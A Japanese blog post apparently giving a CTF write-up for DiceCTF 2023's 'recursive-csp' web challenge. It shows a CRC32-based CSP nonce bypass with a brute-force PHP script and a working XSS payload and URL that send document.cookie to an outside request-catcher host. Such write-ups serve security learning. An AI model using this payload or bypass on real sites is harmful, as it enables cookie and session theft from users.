はまやんはまやんはまやん

hamayanhamayan's blog

DiceCTF 2023 writeups

[web] recursive-csp

レスポンスを見ると/?sourceというのがあるので、アクセスするとソースコードが見られる。
重要なところを抜粋すると以下の通り。

<?php
  if (isset($_GET["source"])) highlight_file(__FILE__) && die();

  $name = "world";
  if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    $name = $_GET["name"];
  }

  $nonce = hash("crc32b", $name);
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
...
    <h1>Hello, <?php echo $name ?>!</h1>
...

全体をCRC32Bでハッシュ化したものがnonceとして採用されるとのこと。
352441c2のように8文字でHEXなので、全探索で適当な文字列を追加して調整してやればよさそう。

以下のような競技プログラミング本当にやってましたか?みたいなコードを書いて、
条件を満たすペイロードを探索した。

<?php
$chars = array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f');

foreach ($chars as $c1) {
    foreach ($chars as $c2) {
        echo $c1 . $c2 . "XXXXX" . "\n";
        foreach ($chars as $c3) {
            foreach ($chars as $c4) {
                foreach ($chars as $c5) {
                    foreach ($chars as $c6) {
                        foreach ($chars as $c7) {
                            foreach ($chars as $c8) {
                                foreach ($chars as $c9) {
    $nonce1 = $c1 . $c2 . $c3 . $c4 . $c5 . $c6 . $c7 . $c8;
    $name = '<script nonce="' . $nonce1 . '">location=["https://z.requestcatcher.com/t?",document.cookie]</script>' . $c9;
    $nonce2 = hash("crc32b", $name);

    //echo $name . "\n";
    //echo $nonce2 . "\n";

    if ($nonce1 === $nonce2) {
        echo $name . "\n";
        echo $nonce2 . "\n";
        echo 'Yea!' . "\n";
        die();
    }
}}}}}}}}}
?>

祈りながらこれを動かすと以下で止まる。

<script nonce="1901f002">location=["https://z.requestcatcher.com/t?",document.cookie]</script>1

なので、requestcatcherで待って以下のように送るとフラグが手に入る。

https://recursive-csp.mc.ax/?name=%3Cscript+nonce%3D%221901f002%22%3Elocation%3D%5B%22https%3A%2F%2Fz.requestcatcher.com%2Ft%3F%22%2Cdocument.cookie%5D%3C%2Fscript%3E1